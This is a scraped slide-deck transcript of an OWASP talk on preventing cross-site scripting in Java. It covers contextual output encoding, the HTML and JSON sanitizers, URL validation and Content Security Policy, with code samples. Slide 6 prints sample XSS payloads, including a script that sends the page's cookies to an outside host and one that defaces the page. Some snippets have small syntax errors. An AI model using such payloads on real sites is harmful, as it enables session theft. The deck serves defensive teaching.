Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Cross Site Scripting (XSS) Defense with Java

Cross Site Scripting Defense is difficult. The Java Programming language does not provide native key defenses necessary to throughly prevent XSS. As technologies such as Content Security Policy emerge, we still need pragmatic advice to stop XSS in legacy applications as well as new applications using traditional Java frameworks. First generation encoding libraries had both performance and completeness problems that prevent developers from through, production-safe XSS defense. This talk will deeply review the OWASP Java Encoder Project and the OWASP HTML Sanitizer Project and give detailed code samples highlighting their use. Additional advice on next-generation JavaScript and JSON workflows using the OWASP JSON Sanitizer will also be reviewed.

  • Login to see the comments

Cross Site Scripting (XSS) Defense with Java

  1. 1. The OWASP Foundation Cross Site Scripting Contextual Output Encoding Secure JS/JSON Workflow
  2. 2. The OWASP Foundation
  3. 3. The OWASP Foundation
  4. 4. The OWASP Foundation Encoding Output Safe ways to represent dangerous characters in a web page Characters Decimal Hexadecimal HTML Character Set Unicode " (double quotation marks) " " &quot; u0022 ' (single quotation mark) ' ' &apos; u0027 & (ampersand) & & &amp; u0026 < (less than) < < &lt; u003c > (greater than) > > &gt; u003e
  5. 5. The OWASP Foundation XSS Attack Payloads – Session Hijacking – Site Defacement – Network Scanning – Undermining CSRF Defenses – Site Redirection/Phishing – Load of Remotely Hosted Scripts – Data Theft – Keystroke Logging – Attackers using XSS more frequently
  6. 6. The OWASP Foundation <script>var img = new Image();img.src=' m/owasp/data=' + document.cookie;</script> <script>document.body.innerHTML=' <marquee>thick as manure half as useful </marquee>'; </script> Sample XSS Attacks
  7. 7. The OWASP Foundation XSS Defense by Data Type and Context Data Type Context Defense String HTML Body HTML Entity Encode String HTML Attribute Minimal Attribute Encoding String GET Parameter URL Encoding String Untrusted URL URL Validation, avoid javascript: URLs, Attribute encoding, safe URL verification String CSS Strict structural validation, CSS Hex encoding, good design HTML HTML Body HTML Validation (JSoup, AntiSamy, HTML Sanitizer) Any DOM DOM XSS Cheat Sheet Untrusted JavaScript Any Sandboxing JSON Client Parse Time JSON.parse() or json2.js Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
  8. 8. The OWASP Foundation OWASP XSS Prevention Cheatsheet S_(Cross_Site_Scripting)_Prevention_ Cheat_Sheet 1+ Million Page Views
  9. 9. The OWASP Foundation OWASP Java Encoder Project Ruby on Rails Reform Project Java, .NET v1/v2, PHP, Python, Perl, JavaScript, Classic ASP ESAPI PHP.NET, Python, Classic ASP, Cold Fusion .NET AntiXSS Library Encoding Libraries
  10. 10. The OWASP Foundation OWASP Java Encoder Project • No third party libraries or configuration necessary. • This code was designed for high-availability/high- performance encoding functionality. • Simple drop-in encoding functionality • Redesigned for performance • More complete API (uri and uri component encoding, etc) in some regards. • This is a Java 1.5 project. • Will be the default encoder in the next revision of ESAPI. • Last updated February 14, 2013 (version 1.1)
  11. 11. The OWASP Foundation The Problem Web Page built in Java JSP is vulnerable to XSS The Solution <%-- Basic HTML Context --%> <body><b><%= Encode.forHtml(UNTRUSTED) %>" /></b></body> <%-- HTML Attribute Context --%> <input type="text" name="data" value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" /> <%-- Javascript Block context --%> <script type="text/javascript"> var msg = "<%= Encode.forJavaScriptBlock(UNTRUSTED) %>"; alert(msg); </script> <%-- Javascript Variable context --%> <button onclick="alert('<%= Encode.forJavaScriptAttribute(UNTRUSTED) %>');">click me</button>
  12. 12. The OWASP Foundation <b><%= Encode.forHtml(UNTRUSTED)%></b> <p>Title:<%= Encode.forHtml(UNTRUSTED)%></p> <textarea name="text"> <%= Encode.forHtmlContent(UNTRUSTED) %> </textarea> Basic HTML Encoding Contexts
  13. 13. The OWASP Foundation <input type="text" name="data" value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" /> <input type="text" name="data" value=<%= Encode.forHtmlUnquotedAttribute(UNTRUSTED) %> /> Encoding HTML Attributes
  14. 14. The OWASP Foundation <%-- Encode URL parameter values --%> <a href="/search?value= <%=Encode.forUriComponent(parameterValue)%>&order=1#top"> <%-- Encode REST URL parameters --%> <a href=" <%=Encode.forUriComponent(restUrlParameter)%>"> Encoding fragments of URL's
  15. 15. The OWASP Foundation URI uri = new URI(rawURI); // throws URISyntaxException if invalid URI // don't allow relative urls if (!uri.isAbsolute()) throw new ValidationException("not an absolute uri"); // don't allows javascript urls, etc... if (!"http".equals(uri.getScheme()) && !"https".equals(uri.getScheme())) throw new ValidationException("we only support http(s) urls"; // who legitimately uses user-infos in their urls?!? if (uri.getUserInfo() != null) throw new ValidationException("this can only be trouble"); // normalize to get rid of '.' and '..' path components uri = uri.normalize(); // get rid of '.' and '..' // check: uri.getHost() against whitelist/blacklist? // check: uri.getPort() for shenanigans? String validURL = uri.toASCIIString(); Validating URL's
  16. 16. The OWASP Foundation <a href=" <%= Encode.forHTMLAttribute(untrustedURL) %> "> Encode.forHtmlContent(untrustedURL) </a> Properly encoding a URL (linkable)
  17. 17. The OWASP Foundation <button onclick="alert('<%= Encode.forJavaScript(alertMsg) %>');"> click me</button> <button onclick="alert('<%= Encode.forJavaScriptAttribute(alertMsg) %>');">click me</button> <script type="text/javascript"> var msg = "<%= Encode.forJavaScriptBlock(alertMsg) %>"; alert(msg); </script> JavaScript Encoding Contexts
  18. 18. The OWASP Foundation <div style="background: url('<%=Encode.forCssUrl(value)%>');"> <style type="text/css"> background-color:'<%=Encode.forCssString(value)%>'; </style> CSS Encoding Context
  19. 19. The OWASP Foundation Nested Contexts Best to avoid: an element attribute calling a Javascript function etc - parsing chains <div onclick="showError('<%=request.getParameter("errorxyz") %>')" >An error occurred ....</div> Here we have a HTML attribute(onClick) and within a nested Javascript function call (showError). Parsing order: 1: HTML decode the contents of the onclick attribute. 2: When onClick is selected: Javascript Parsing of showError So we have 2 contexts here...HTML and Javascript (2 different browser parsers) Nested Encoding Contexts
  20. 20. The OWASP Foundation We need to apply "layered" encoding in the RIGHT order: 1) JavaScript encode 2) HTML Attribute Encode so it "unwinds" properly and is not vulnerable. <div onclick="showError ('<%= Encoder.encodeForHtml( Encoder.encodeForJavaScript( request.getParameter("error")%>')))" > An error occurred ....</div>
  21. 21. The OWASP Foundation
  22. 22. The OWASP Foundation OWASP HTML Sanitizer Project • HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS. • This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review sanitizer/wiki/AttackReviewGroundRules. • Very easy to use. • It allows for simple programmatic POSITIVE policy configuration (see below). No XML config. • Actively maintained by Mike Samuel from Google's AppSec team! • This is code from the Caja project that was donated by Google. It is rather high performance and low memory utilization.
  23. 23. The OWASP Foundation Solving Real World Problems with the OWASP HTML Sanitizer Project The Problem Web Page is vulnerable to XSS because of untrusted HTML The Solution PolicyFactory policy = new HtmlPolicyBuilder() .allowElements("a") .allowUrlProtocols("https") .allowAttributes("href").onElements("a") .requireRelNofollowOnLinks() .build(); String safeHTML = policy.sanitize(untrustedHTML);
  24. 24. The OWASP Foundation PolicyFactory policy = new HtmlPolicyBuilder() .allowElements("p") .allowElements( new ElementPolicy() { public String apply(String elementName, List<String> attrs) { attrs.add("class"); attrs.add("header-" + elementName); return "div"; } }, "h1", "h2", "h3", "h4", "h5", "h6")) .build(); String safeHTML = policy.sanitize(untrustedHTML);
  25. 25. The OWASP Foundation  SAFE use of JQuery  $(‘#element’).text(UNTRUSTED DATA); UNSAFE use of JQuery $(‘#element’).html(UNTRUSTED DATA);
  26. 26. The OWASP Foundation  Contextual encoding is a crucial technique needed to stop all types of XSS  jqencoder is a jQuery plugin that allows developers to do contextual encoding in JavaScript to stop DOM-based XSS  tags/security  $('#element').encode('html', cdata); JQuery Encoding with JQencoder
  28. 28. The OWASP Foundation Content Security Policy • Anti-XSS W3C standard • Content Security Policy latest release version • • Must move all inline script and style into external scripts • Add the X-Content-Security-Policy response header to instruct the browser that CSP is in use - Firefox/IE10PR: X-Content-Security-Policy - Chrome Experimental: X-WebKit-CSP - Content-Security-Policy-Report-Only • Define a policy for the site regarding loading of content
  29. 29. The OWASP Foundation Real world CSP in action
  30. 30. The OWASP Foundation
  31. 31. The OWASP Foundation OWASP JSON Sanitizer Project • Given JSON-like content, converts it to valid JSON. • This can be attached at either end of a data-pipeline to help satisfy Postel's principle: Be conservative in what you do, be liberal in what you accept from others. • Applied to JSON-like content from others, it will produce well-formed JSON that should satisfy any parser you use. • Applied to your output before you send, it will coerce minor mistakes in encoding and make it easier to embed your JSON in HTML and XML.
  32. 32. The OWASP Foundation Solving Real World Problems with the OWASP JSON Sanitizer Project The Problem Web Page is vulnerable to XSS because of parsing of untrusted JSON incorrectly The Solution JSON Sanitizer can help with two use cases. 1) Sanitizing untrusted JSON on the server that is submitted from the browser in standard AJAX communication 2) Sanitizing potentially untrusted JSON server-side before sending it to the browser. The output is a valid Javascript expression, so can be parsed by Javascript's eval or by JSON.parse.
  33. 33. The OWASP Foundation <script id="init_data" type="application/json"> <%= Encode.forHtml(data.toJSON()); %> </script> Embed JSON Safely in HTML
  34. 34. The OWASP Foundation // external js file var dataElement = document.getElementById('init_data'); // unescape the content of the span var jsonText = dataElement.textContent || dataElement.innerText; var initData = JSON.parse(html_unescape(jsonText)); Embed JSON Safely in HTML
  35. 35. The OWASP Foundation Limit placement of JSON data into JQuery .val and .text $("input:text").val(json.description); $("p").text(json.fullname);
  36. 36. The OWASP Foundation Cross Site Scripting Contextual Output Encoding Secure JS/JSON Workflow
  37. 37. The OWASP Foundation @manicode index.php/M embership